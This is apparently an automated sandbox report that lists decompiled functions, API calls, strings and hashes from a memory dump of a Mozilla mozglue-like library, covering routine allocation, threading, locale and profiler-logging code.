API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 3ee0d82cce021411928d94c370792ff610e579bb70cfd6e3c084491636d41eaa
Instruction ID: f3809db3326e44ef143a8af366924d37ee8e1e3b0ca914662e5d12e816d5ac2a
Opcode Fuzzy Hash: 3ee0d82cce021411928d94c370792ff610e579bb70cfd6e3c084491636d41eaa
Instruction Fuzzy Hash: C641B2347003058FDB04DFA5C8DAAAE77F5EF49319F084268E506977A1DB35E946CB50

Function 6CA6CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA331A7), ref: 6CA6CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA6CFA4, 6CA6CFB8
<jemalloc>, xrefs: 6CA6CF9F, 6CA6CFB3

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 1f645ccf32782837709a6530676eb2f3d71efa46e638a7d9bed68e01b4ac0070
Instruction ID: b8e0e940979b9735080c347c4cb9882b95f1ca04d7640db8d4a739207bb6b3f4
Opcode Fuzzy Hash: 1f645ccf32782837709a6530676eb2f3d71efa46e638a7d9bed68e01b4ac0070
Instruction Fuzzy Hash: 6131D630B403065FEF14AEAA8C85B6E7B79BB4171CF248114F610ABEC0DB70E4818BA4

Function 6CA3ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA3F100: LoadLibraryW.KERNEL32(shell32,?,6CAAD020), ref: 6CA3F122
Part of subcall function 6CA3F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA3F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA3ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA3EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA3EDCC
CreateFileW.KERNEL32 ref: 6CA3EE08
free.MOZGLUE(00000000), ref: 6CA3EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA3EE32

Part of subcall function 6CA3EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA3EBB5
Part of subcall function 6CA3EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA6D7F3), ref: 6CA3EBC3
Part of subcall function 6CA3EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA6D7F3), ref: 6CA3EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA3EDC1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ab5fdda34b4935de43f50da648b06c4400ba7f2866bc7452e61aeeb5086064a3
Instruction ID: 028769b14b932b53b010bc7571b59700da69738767d000ef8c4f8123daceab7c
Opcode Fuzzy Hash: ab5fdda34b4935de43f50da648b06c4400ba7f2866bc7452e61aeeb5086064a3
Instruction Fuzzy Hash: 5E511471D043249BDB01DF68C9503EEB7B0AF49318F58942DE859AB780EB346DC8C7A2

Function 6CAAA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAAA565

Part of subcall function 6CAAA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAA4BE
Part of subcall function 6CAAA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAAA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAAA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAAA6B6

Strings

z, xrefs: 6CAAA6AE
0, xrefs: 6CAAA5FB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: fa758a4ac8f06193472502ac666a14c71b8b4413dc1226ee631ff5d551740604
Instruction ID: 6ac2e9e3bbb3e28667e1889da9c7091c949ded4b486af768d53a7432966729a5
Opcode Fuzzy Hash: fa758a4ac8f06193472502ac666a14c71b8b4413dc1226ee631ff5d551740604
Instruction Fuzzy Hash: 08413971A087459FC341DF68C480A9FBBE5BF89354F409A2EF49987650EB30D989CF92

Function 6CA378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAB008B), ref: 6CA37B89
free.MOZGLUE(?,6CAB008B), ref: 6CA37BAC

Part of subcall function 6CA378C0: free.MOZGLUE(?,6CAB008B), ref: 6CA37BCF

free.MOZGLUE(?,6CAB008B), ref: 6CA37BF2

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 874c0d4a747c2ad1a5e4f20019cc7ce24abb84699341634334730dc372162aa3
Instruction ID: debac262ba5deb63c82264bb687d4eac223fe256e1e391cda47d2f6c4820c4ac
Opcode Fuzzy Hash: 874c0d4a747c2ad1a5e4f20019cc7ce24abb84699341634334730dc372162aa3
Instruction Fuzzy Hash: 84C18F71E01138CBEB258B68CEA0B9DB772AF41314F1552A9D41EE7B81C7319EC98F51

Function 6CA79420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
__Init_thread_footer.LIBCMT ref: 6CA7949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA7946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA7947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA79459

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 09daf98cdbe59bfd581da279c73939f855b888764df81490e4f09dc7f4470f81
Instruction ID: bf9c9f50daa0861d8442de104e8112ab4798acbfb2d025542fcbce997dff2163
Opcode Fuzzy Hash: 09daf98cdbe59bfd581da279c73939f855b888764df81490e4f09dc7f4470f81
Instruction Fuzzy Hash: A401F53CA002028BD6149B7CDE04A963279FB0A32DF08853BD90696B61D631D8E6897E

Function 6CA80F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA80F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA80F88
GetCurrentThreadId.KERNEL32 ref: 6CA80FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CA81067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CA810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CA8114B

Part of subcall function 6CA78AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CA91563), ref: 6CA78BD5

free.MOZGLUE(?), ref: 6CA81174
free.MOZGLUE(?), ref: 6CA81186

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: e3d75ae376a2fb19aee9b48aab4bbd8a9a85788deef9080f25da8410a4125ba2
Instruction ID: 400b3f48b599903208d055b497735a04913e178ee92bd7a01a872657d3705a8c
Opcode Fuzzy Hash: e3d75ae376a2fb19aee9b48aab4bbd8a9a85788deef9080f25da8410a4125ba2
Instruction Fuzzy Hash: B961E075A063419FDB10CF24C980BAAB7F6BFC5308F04891DE99947711EB31E889CB82

Function 6CA3B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B6AC

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CA3B61E), ref: 6CA3B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CA3B61E,?,?,?,?,?,00000000), ref: 6CA3B79A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: f5a6ad43045d1f07d1c83ec941265c529bf4f2d9b168b33e11ce17c45f85417c
Instruction ID: effec6d8a9aaf6bd126e8fb288e449e393a909e11114d58b348dad38324a55f7
Opcode Fuzzy Hash: f5a6ad43045d1f07d1c83ec941265c529bf4f2d9b168b33e11ce17c45f85417c
Instruction Fuzzy Hash: FA41E4B2D005259FCB00DF68ED945AEB7B6FB44324F290729E829E7780E731A94587E1

Function 6CA3EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CAB5104), ref: 6CA3EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA3EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA3EFEC
free.MOZGLUE(?), ref: 6CA3F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA3F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CA3F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA3F065
moz_xmalloc.MOZGLUE ref: 6CA3F072

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 6a0137ec05dc9f5f1e4a365b8948f2c6f98aae9498c86b449b61ebd94ab22dbe
Instruction ID: 5b20dbdc96bc4c67d34211ee4d4d9041a907f85584c6f7a6b61f389f69a71587
Opcode Fuzzy Hash: 6a0137ec05dc9f5f1e4a365b8948f2c6f98aae9498c86b449b61ebd94ab22dbe
Instruction Fuzzy Hash: CA41F6B1A002159FCB08CF68DD909AE7365BF85318B24423CE81ADB794FB71E959C7E1

Function 6CAAB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CAAB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CAAB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CAAB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CAAB5F4
__Init_thread_footer.LIBCMT ref: 6CAAB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CAAB61F
std::_Facet_Register.LIBCPMT ref: 6CAAB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAAB655

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 4fc1f5bb6292131cb4bb91ea6ae38d0ae28f0c10c269f5e2f4b099f0ac3e4f48
Instruction ID: a926b4cfbc23523f7853cbe89b9762af7435e396a9d48be8354598c761eb1547
Opcode Fuzzy Hash: 4fc1f5bb6292131cb4bb91ea6ae38d0ae28f0c10c269f5e2f4b099f0ac3e4f48
Instruction Fuzzy Hash: 43310775B00306CBCF04DFA9D8889AEB7B5FF89328B084619D90297750CB34A847CF95

Function 6CA49830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CA97ABE), ref: 6CA4985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CA97ABE), ref: 6CA498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CA49909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CA49918
free.MOZGLUE(?), ref: 6CA49975

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: ae955d5e897141abc5f829c22f44a71b4f32c6f99685eb5e6322a72348bbc5be
Instruction ID: 5ef036ceb54817df2d088eb2abda80c1a49f3403865fd0a6c1239a87979731ec
Opcode Fuzzy Hash: ae955d5e897141abc5f829c22f44a71b4f32c6f99685eb5e6322a72348bbc5be
Instruction Fuzzy Hash: 1171AB746007058FC725CF7CC680956B7F5FF4A3247248AA9D85A8BBA1D731F896CB50

Function 6CA4B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA8CC83,?,?,?,?,?,?,?,?,?,6CA8BCAE,?,?,6CA7DC2C), ref: 6CA4B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CA8CC83,?,?,?,?,?,?,?,?,?,6CA8BCAE,?,?,6CA7DC2C), ref: 6CA4B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CA8CC83,?,?,?,?,?,?,?,?,?,6CA8BCAE), ref: 6CA4B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CA8CC83,?,?,?,?,?,?,?,?,?,6CA8BCAE,?,?,6CA7DC2C), ref: 6CA4B896

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 44e6aa991f5f21aa9dd6598e22d7400eb5fa0802bb01b8a82f8f0669db270b77
Instruction ID: 016c0ae91f52b9ff431977a0b4d2bd187e6315c76c57718121726fd33d28a64d
Opcode Fuzzy Hash: 44e6aa991f5f21aa9dd6598e22d7400eb5fa0802bb01b8a82f8f0669db270b77
Instruction Fuzzy Hash: 73516C35700A058FDB25CF59D488A6EBBF5FF89318B59865DE98A87352C731E842CB80

Function 6CA81D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA81D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA81BE3,?,?,6CA81D96,00000000), ref: 6CA81D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA81BE3,?,?,6CA81D96,00000000), ref: 6CA81D4C
GetCurrentThreadId.KERNEL32 ref: 6CA81DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA81DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA81DDA

Part of subcall function 6CA81EF0: GetCurrentThreadId.KERNEL32 ref: 6CA81F03
Part of subcall function 6CA81EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA81DF2,00000000,00000000), ref: 6CA81F0C
Part of subcall function 6CA81EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA81F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA81DF4

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 9f1925abea7978170447f46dfef6a005c7a872cd5975eaf70b90654fa0b052bf
Instruction ID: f9445a87c94825085bf95e9384adf40164ea5f117067bea78e1b800d21e9abe9
Opcode Fuzzy Hash: 9f1925abea7978170447f46dfef6a005c7a872cd5975eaf70b90654fa0b052bf
Instruction Fuzzy Hash: 424179B52017019FCB14CF28C488B66BBF9FB49318F10852EE95A87B51DB71E854CB94

Function 6CA438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CABE220,?,?,?,?,6CA43899,?), ref: 6CA438B2
ReleaseSRWLockExclusive.KERNEL32(6CABE220,?,?,?,6CA43899,?), ref: 6CA438C3
free.MOZGLUE(00000000,?,?,?,6CA43899,?), ref: 6CA438F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA43920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CA43899,?), ref: 6CA4392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CA43899,?), ref: 6CA43943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CA4396E

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: d35dd43938c9a5a238802fa6358e9d57ffa15144497f6e9de37bfc8525f73b97
Instruction ID: dd3c17deb63b285f35496a3ebee133bab38cad728b9d411c10070735a2a77334
Opcode Fuzzy Hash: d35dd43938c9a5a238802fa6358e9d57ffa15144497f6e9de37bfc8525f73b97
Instruction Fuzzy Hash: 17212172601710DFE720DF55C884B8AB7B8EF44728F29C429E99A97B11C735F886CB90

Function 6CA784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA7850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA7851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA7855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA7856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA785AC

Part of subcall function 6CA77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA7767F
